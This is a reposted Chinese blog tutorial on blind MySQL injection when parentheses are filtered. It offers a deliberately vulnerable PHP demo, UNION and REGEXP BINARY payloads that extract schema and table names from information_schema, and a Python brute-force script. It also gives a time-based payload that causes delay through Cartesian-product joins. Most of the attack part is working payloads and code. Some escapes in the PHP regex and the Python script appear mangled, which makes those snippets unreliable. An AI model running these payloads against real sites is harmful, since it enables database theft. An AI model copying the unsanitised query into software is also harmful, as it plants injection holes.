概述
原文作者:th1s
转载自:https://www.th1s.cn/index.php/2018/02/26/213.html
做题和实战的时候都遇到了盲注点过滤了小括号的情况,小括号被过滤意味着无法使用mysql内置的所有函数。摸索出了一些不同场景下bypass的方法,记录下。
easy demo
贴一个小demo。
[PHP] 纯文本查看 复制代码<?php
$user = $_REQUEST['user'];
if(preg_match("/(|)/", $user)){
printf('illegal user');
exit();
}
$conn = mysqli_connect('127.0.0.1', 'root', '', 'php3');
$sql = "select * from php3 where user = '$user'";
$result = mysqli_query($conn, $sql);
if (mysqli_num_rows($result) > 0) {
echo "xxx";
} else {
echo "username error";
}
?>
代码逻辑如下:
获取 request 变量$user
很明显的注入点select * from php3 where user = '$user'
如果存在查询得到的结果,返回 "xxx",否则返回 "username error"。(这里引入了回显中的bool差异方便注入)
表结构如下:
442795017.png (15.99 KB, 下载次数: 47)
2018-5-4 17:05 上传
like && regexp 注入
一步一步来,首先构造如下exp:
[SQL] 纯文本查看 复制代码' union select 1,2 from information_schema.tables where 1=2#
返回了"username error"
[SQL] 纯文本查看 复制代码' union select 1,2 from information_schema.tables where 1=1#
返回了"xxx"
这样我们成功在1=2这里引入了一个盲注条件。
进一步构造,小括号被过滤,诸如substring()等字符串截取函数无法使用。盲注必然存在一个字符串比较的过程,这里的话我们可以使用like和regexp进行正则比较。实战发现regexp比较好用。exp如下:
[SQL] 纯文本查看 复制代码' union select 1,2 from information_schema.tables where table_schema regexp binary '^.*$'#
(加上binary会使得大小写敏感,在获取字段内容时必须加上binary,血的教训- -!)
我们使用已知系统库information_schema进行逐字符验证。
[SQL] 纯文本查看 复制代码' union select 1,2 from information_schema.tables where table_schema regexp binary '^i.*$'#
返回xxx
[SQL] 纯文本查看 复制代码' union select 1,2 from information_schema.tables where table_schema regexp binary '^ib.*$'#
返回username error
[SQL] 纯文本查看 复制代码' union select 1,2 from information_schema.tables where table_schema regexp binary '^in.*$'#
返回xxx
剩下的写脚本去跑。
easy 脚本
(这个easy 脚本花了我一下午。。。)
踩了几个坑:
1.当前表内有多个table_schema,需要去递归获取所有的table_schema,不然只能获取到字符排序最靠前的数据库名。
2.由于使用了正则匹配,需要对正则关键字进行转义。mysql中需要加上两个斜杠进行转义。
在一般的编程语言中,转义一般使用一个反斜线,在Mysql中为什么是两个才行?原因是:Mysql自己需要一个来识别,然后Mysql会将扣除了一个反斜杠的剩余的部分完全的交给正则表达式库解释,所以加起来就是两个了。
3.单个斜杠字符前面一共需要加三个斜杠,变成"\\"。"\\"被mysql转义为"\",然后再交给正则表达式库转义成 ""
[Python] 纯文本查看 复制代码#coding=utf-8
#Th1s
import requests
import string
url = "http://xxx/sqli.php"
payload = "' union select 'admin',2 from information_schema.tables where table_schema regexp binary '^%s.*$'#"
special_str = ".*()|[]{}\^$+?"
final_result = []
def check2(now_str):
for ch in string.printable:
if ch in special_str:
if ch == '\':
ch = '\' + ch
ch = '\\' + ch
exp = payload % (now_str + ch)
param = {'user': exp}
if check(param):
print now_str + ch
check2(now_str + ch)
if ch == string.printable[-1]:
final_result.append(now_str)
return
def check(param):
r = requests.get(url, params=param)
if "xxx" in r.content:
return True
else:
return False
if __name__ == "__main__":
check2("")
看起来效果还不错。
1137418884.png (19.88 KB, 下载次数: 68)
2018-5-4 17:09 上传
获取了table_schema以后就可以获取某个数据库下的所有表了。比如限定一下当前数据库为dnslog。
[SQL] 纯文本查看 复制代码' union select 1,2 from information_schema.tables where table_schema='dnslog' and table_name regexp binary '^.*$'#
无bool回显的场景
上面的bypass都是基于有bool回显的。如果不存在bool回显呢?比如,我们修改下最初的demo,把bool回显的部分删掉。
[PHP] 纯文本查看 复制代码<?php
$user = $_REQUEST['user'];
if(preg_match("/(|)/", $user)){
printf('illegal user');
exit();
}
$conn = mysqli_connect('127.0.0.1', 'root', '', 'php3');
$sql = "select * from php3 where user = '$user'";
$result = mysqli_query($conn, $sql);
//xxx
?>
由于小括号被过滤,sleep()、benchmark()都已经无法使用。那么这里有办法可以注出数据吗?
答案是可以利用查询笛卡尔积造成延时。利用多次join造成结果集的笛卡尔积非常大造成mysql延时。
[SQL] 纯文本查看 复制代码union select 1, b.column_name from information_schema.tables a join information_schema.columns b join information_schema.columns c where 1=1
实战尝试一下:
where 1=1的时候已经造成非常大的延时了。
1940614256.png (57.5 KB, 下载次数: 59)
2018-5-4 17:11 上传
where 1=2基本无延时。
3364534568.png (67.73 KB, 下载次数: 49)
2018-5-4 17:11 上传
参考文献
Mysql必知必会(4):使用正则表达式搜索(REGEXP)
最后
以上就是聪明鸵鸟为你收集整理的MySQL盲注exit函数_mysql小括号被过滤后的盲注的全部内容,希望文章能够帮你解决MySQL盲注exit函数_mysql小括号被过滤后的盲注所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复